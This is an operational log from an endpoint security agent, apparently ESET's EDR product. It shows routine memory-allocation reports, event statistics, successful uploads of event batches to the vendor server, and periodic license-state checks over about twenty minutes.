2026-03-04 02:20:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2373 KB; BaseEvent: 555 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 530 KB; TcpIpConnectionsManager: 516 KB; ModuleMetadata: 507 KB; BatchSerializer::EventsQueueTag: 145 KB; rules::ProcessConditionsCache: 131 KB; ModuleInfoCache: 86 KB; CacheEntry: 82 KB; cloudutils::CloudData: 33 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 67020 KB;
2026-03-04 02:21:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2736 KB; BaseEvent: 735 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 531 KB; TcpIpConnectionsManager: 517 KB; ModuleMetadata: 507 KB; BatchSerializer::EventsQueueTag: 191 KB; rules::ProcessConditionsCache: 120 KB; ModuleInfoCache: 86 KB; CacheEntry: 82 KB; cloudutils::CloudData: 33 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67603 KB;
2026-03-04 02:21:58 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 02:17:49, To:, 2026-03-04 02:21:58, Duration (s):, 249, Events Per Second:, 16.545, Events:, 4120, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3390, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 729, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 457524
2026-03-04 02:21:59 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s411ms.
2026-03-04 02:22:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 1621 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 610 KB; rules::AncestorEvaluations: 551 KB; ModuleMetadata: 523 KB; TcpIpConnectionsManager: 519 KB; BaseEvent: 163 KB; rules::ProcessConditionsCache: 102 KB; ModuleInfoCache: 100 KB; CacheEntry: 84 KB; BatchSerializer::EventsQueueTag: 41 KB; cloudutils::CloudData: 34 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 65861 KB;
2026-03-04 02:23:13 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 02:23:13 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 02:23:13 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 02:23:13 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 02:23:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 02:23:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 02:23:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 02:23:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 02:23:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 1984 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 592 KB; rules::AncestorEvaluations: 551 KB; ModuleMetadata: 523 KB; TcpIpConnectionsManager: 521 KB; BaseEvent: 343 KB; ModuleInfoCache: 100 KB; BatchSerializer::EventsQueueTag: 89 KB; rules::ProcessConditionsCache: 87 KB; CacheEntry: 84 KB; cloudutils::CloudData: 34 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66420 KB;
2026-03-04 02:24:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2342 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 593 KB; rules::AncestorEvaluations: 551 KB; ModuleMetadata: 523 KB; BaseEvent: 521 KB; TcpIpConnectionsManager: 521 KB; BatchSerializer::EventsQueueTag: 135 KB; ModuleInfoCache: 100 KB; CacheEntry: 84 KB; rules::ProcessConditionsCache: 65 KB; cloudutils::CloudData: 34 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66980 KB;
2026-03-04 02:25:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2706 KB; BaseEvent: 699 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 580 KB; rules::AncestorEvaluations: 551 KB; ModuleMetadata: 523 KB; TcpIpConnectionsManager: 517 KB; BatchSerializer::EventsQueueTag: 181 KB; ModuleInfoCache: 100 KB; CacheEntry: 84 KB; rules::ProcessConditionsCache: 56 KB; cloudutils::CloudData: 34 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 67543 KB;
2026-03-04 02:26:10 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 02:21:57, To:, 2026-03-04 02:26:10, Duration (s):, 253, Events Per Second:, 16.250, Events:, 4112, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3388, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 723, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 456790
2026-03-04 02:26:12 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s598ms.
2026-03-04 02:26:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 1549 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 580 KB; rules::AncestorEvaluations: 551 KB; ModuleMetadata: 523 KB; TcpIpConnectionsManager: 517 KB; BaseEvent: 133 KB; ModuleInfoCache: 100 KB; CacheEntry: 84 KB; rules::ProcessConditionsCache: 45 KB; BatchSerializer::EventsQueueTag: 34 KB; cloudutils::CloudData: 34 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 65661 KB;
2026-03-04 02:27:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 1909 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 583 KB; rules::AncestorEvaluations: 552 KB; ModuleMetadata: 523 KB; TcpIpConnectionsManager: 514 KB; BaseEvent: 310 KB; ModuleInfoCache: 100 KB; CacheEntry: 84 KB; BatchSerializer::EventsQueueTag: 81 KB; cloudutils::CloudData: 34 KB; rules::ProcessConditionsCache: 24 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 66224 KB;
2026-03-04 02:28:13 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 02:28:13 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 02:28:13 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 02:28:13 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 02:28:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 02:28:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 02:28:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 02:28:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 02:28:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2270 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 584 KB; rules::AncestorEvaluations: 551 KB; ModuleMetadata: 523 KB; TcpIpConnectionsManager: 512 KB; BaseEvent: 492 KB; BatchSerializer::EventsQueueTag: 129 KB; ModuleInfoCache: 100 KB; CacheEntry: 84 KB; cloudutils::CloudData: 34 KB; rules::CachedConditionEvaluationCtx: 22 KB; rules::ProcessConditionsCache: 11 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 66800 KB;
2026-03-04 02:29:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2633 KB; BaseEvent: 669 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 584 KB; rules::AncestorEvaluations: 551 KB; ModuleMetadata: 523 KB; TcpIpConnectionsManager: 512 KB; rules::ProcessConditionsCache: 407 KB; BatchSerializer::EventsQueueTag: 175 KB; ModuleInfoCache: 100 KB; CacheEntry: 84 KB; cloudutils::CloudData: 34 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 67784 KB;
2026-03-04 02:30:22 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 02:26:09, To:, 2026-03-04 02:30:21, Duration (s):, 252, Events Per Second:, 16.235, Events:, 4107, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3377, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 729, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 455698
2026-03-04 02:30:23 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s421ms.
2026-03-04 02:30:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 1477 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 567 KB; rules::AncestorEvaluations: 551 KB; ModuleMetadata: 523 KB; TcpIpConnectionsManager: 516 KB; rules::ProcessConditionsCache: 399 KB; BaseEvent: 102 KB; ModuleInfoCache: 100 KB; CacheEntry: 84 KB; cloudutils::CloudData: 34 KB; BatchSerializer::EventsQueueTag: 27 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 65891 KB;
2026-03-04 02:31:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 1840 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 569 KB; rules::AncestorEvaluations: 551 KB; ModuleMetadata: 523 KB; TcpIpConnectionsManager: 516 KB; rules::ProcessConditionsCache: 381 KB; BaseEvent: 282 KB; ModuleInfoCache: 100 KB; CacheEntry: 84 KB; BatchSerializer::EventsQueueTag: 74 KB; cloudutils::CloudData: 34 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66465 KB;
2026-03-04 02:32:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2200 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 569 KB; rules::AncestorEvaluations: 551 KB; ModuleMetadata: 523 KB; TcpIpConnectionsManager: 516 KB; BaseEvent: 461 KB; rules::ProcessConditionsCache: 362 KB; BatchSerializer::EventsQueueTag: 120 KB; ModuleInfoCache: 100 KB; CacheEntry: 84 KB; cloudutils::CloudData: 34 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67033 KB;
2026-03-04 02:33:13 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 02:33:13 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 02:33:13 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 02:33:13 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 02:33:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 02:33:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 02:33:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 02:33:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 02:33:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2564 KB; BaseEvent: 642 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 570 KB; rules::AncestorEvaluations: 551 KB; ModuleMetadata: 523 KB; TcpIpConnectionsManager: 517 KB; rules::ProcessConditionsCache: 349 KB; BatchSerializer::EventsQueueTag: 168 KB; ModuleInfoCache: 100 KB; CacheEntry: 84 KB; cloudutils::CloudData: 34 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67614 KB;
2026-03-04 02:34:30 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 02:30:21, To:, 2026-03-04 02:34:30, Duration (s):, 249, Events Per Second:, 16.466, Events:, 4102, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3371, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 730, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 456048
2026-03-04 02:34:33 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 2s961ms.
2026-03-04 02:34:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 1430 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 592 KB; rules::AncestorEvaluations: 552 KB; ModuleMetadata: 523 KB; TcpIpConnectionsManager: 517 KB; rules::ProcessConditionsCache: 336 KB; ModuleInfoCache: 100 KB; CacheEntry: 84 KB; BaseEvent: 73 KB; cloudutils::CloudData: 34 KB; rules::CachedConditionEvaluationCtx: 22 KB; BatchSerializer::EventsQueueTag: 19 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 65770 KB;
2026-03-04 02:35:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 1793 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 580 KB; rules::AncestorEvaluations: 552 KB; ModuleMetadata: 523 KB; TcpIpConnectionsManager: 521 KB; rules::ProcessConditionsCache: 313 KB; BaseEvent: 250 KB; ModuleInfoCache: 100 KB; CacheEntry: 84 KB; BatchSerializer::EventsQueueTag: 66 KB; cloudutils::CloudData: 34 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66326 KB;
2026-03-04 02:36:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2153 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 600 KB; rules::AncestorEvaluations: 551 KB; ModuleMetadata: 523 KB; TcpIpConnectionsManager: 517 KB; BaseEvent: 428 KB; rules::ProcessConditionsCache: 298 KB; BatchSerializer::EventsQueueTag: 112 KB; ModuleInfoCache: 100 KB; CacheEntry: 84 KB; cloudutils::CloudData: 34 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66911 KB;
2026-03-04 02:37:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2511 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 602 KB; BaseEvent: 601 KB; rules::AncestorEvaluations: 551 KB; ModuleMetadata: 523 KB; TcpIpConnectionsManager: 522 KB; rules::ProcessConditionsCache: 271 KB; BatchSerializer::EventsQueueTag: 158 KB; ModuleInfoCache: 100 KB; CacheEntry: 84 KB; cloudutils::CloudData: 34 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 67470 KB;
2026-03-04 02:38:14 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 02:38:14 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 02:38:14 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 02:38:14 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 02:38:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 02:38:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 02:38:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 02:38:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 02:38:42 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 02:34:29, To:, 2026-03-04 02:38:42, Duration (s):, 253, Events Per Second:, 16.260, Events:, 4119, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3400, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 718, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 457389
2026-03-04 02:38:45 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 2s768ms.
2026-03-04 02:38:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 1327 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 603 KB; rules::AncestorEvaluations: 552 KB; ModuleMetadata: 539 KB; TcpIpConnectionsManager: 521 KB; rules::ProcessConditionsCache: 253 KB; ModuleInfoCache: 103 KB; CacheEntry: 87 KB; BaseEvent: 37 KB; cloudutils::CloudData: 35 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 9 KB; BatchSerializer::EventsQueueTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 65578 KB;
2026-03-04 02:39:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 1733 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 604 KB; rules::AncestorEvaluations: 551 KB; ModuleMetadata: 539 KB; TcpIpConnectionsManager: 521 KB; rules::ProcessConditionsCache: 252 KB; BaseEvent: 224 KB; ModuleInfoCache: 103 KB; CacheEntry: 87 KB; BatchSerializer::EventsQueueTag: 60 KB; cloudutils::CloudData: 35 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 16 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66226 KB;
2026-03-04 02:40:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2144 KB; TcpIpConnectionsManager: 570 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 549 KB; ModuleMetadata: 539 KB; BaseEvent: 412 KB; rules::ProcessConditionsCache: 340 KB; BatchSerializer::EventsQueueTag: 111 KB; ModuleInfoCache: 103 KB; CacheEntry: 87 KB; cloudutils::CloudData: 35 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 18 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 12 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66965 KB;
2026-03-04 02:41:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2482 KB; BaseEvent: 579 KB; TcpIpConnectionsManager: 557 KB; rules::AncestorEvaluations: 551 KB; ModuleMetadata: 539 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 528 KB; rules::ProcessConditionsCache: 278 KB; BatchSerializer::EventsQueueTag: 156 KB; ModuleInfoCache: 103 KB; CacheEntry: 87 KB; cloudutils::CloudData: 35 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 18 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67413 KB;
2026-03-04 02:42:46 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 02:38:41, To:, 2026-03-04 02:42:46, Duration (s):, 245, Events Per Second:, 16.949, Events:, 4154, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3457, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 1, Livegrid:, 1, OriginUrl:, 0, Alarms:, 694, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 462806
2026-03-04 02:42:47 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s403ms.
2026-03-04 02:42:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 1358 KB; TcpIpConnectionsManager: 557 KB; rules::AncestorEvaluations: 552 KB; ModuleMetadata: 539 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 530 KB; rules::ProcessConditionsCache: 265 KB; ModuleInfoCache: 103 KB; CacheEntry: 87 KB; cloudutils::CloudData: 35 KB; BaseEvent: 28 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; BatchSerializer::EventsQueueTag: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 65574 KB;
2026-03-04 02:43:14 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 02:43:14 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 02:43:14 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 02:43:14 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 02:43:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 02:43:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 02:43:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 02:43:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
